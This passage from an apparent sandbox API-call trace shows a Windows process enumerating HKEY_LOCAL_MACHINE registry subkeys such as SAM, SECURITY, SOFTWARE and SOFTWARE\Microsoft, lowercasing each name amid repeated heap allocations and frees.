lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bc58 [0187.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x119bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bca0 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc58) returned 1 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bca0) returned 1 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.935] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x119b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bca0 [0187.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x119bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bc58 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bca0) returned 1 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc58) returned 1 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.935] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x119b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bc58 [0187.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x119bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bca0 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc58) returned 1 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bca0) returned 1 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.935] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df590 | out: phkResult=0x2df590*=0xa0) returned 0x0 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x184) returned 0x119d040 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bca0 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bc58 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bce8 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd30 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd78 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bdc0 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119be08 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119be50 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119be98 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bee0 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bf28 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bf70 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bfb8 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c000 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c048 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c090 [0187.936] RegCloseKey (hKey=0x80000002) returned 0x0 [0187.936] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x119b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x119c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.936] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.936] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.936] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.936] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x119b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0187.936] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x119c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.937] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x119b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x119c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.937] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x119b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x119c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.937] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x119b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x119c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.937] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x119b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x119c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0187.937] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.937] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.938] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x119b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x119c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.938] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df590 | out: phkResult=0x2df590*=0x24) returned 0x0 [0187.938] RegCloseKey (hKey=0xa0) returned 0x0 [0187.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x119b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x119c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x119b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x119c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.938] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x119b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.938] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x119c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x119b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x119c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x119b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x119c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x119b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x119c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.939] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x119b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x119c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0187.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x119b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x119c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x119b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x119c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x119b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", 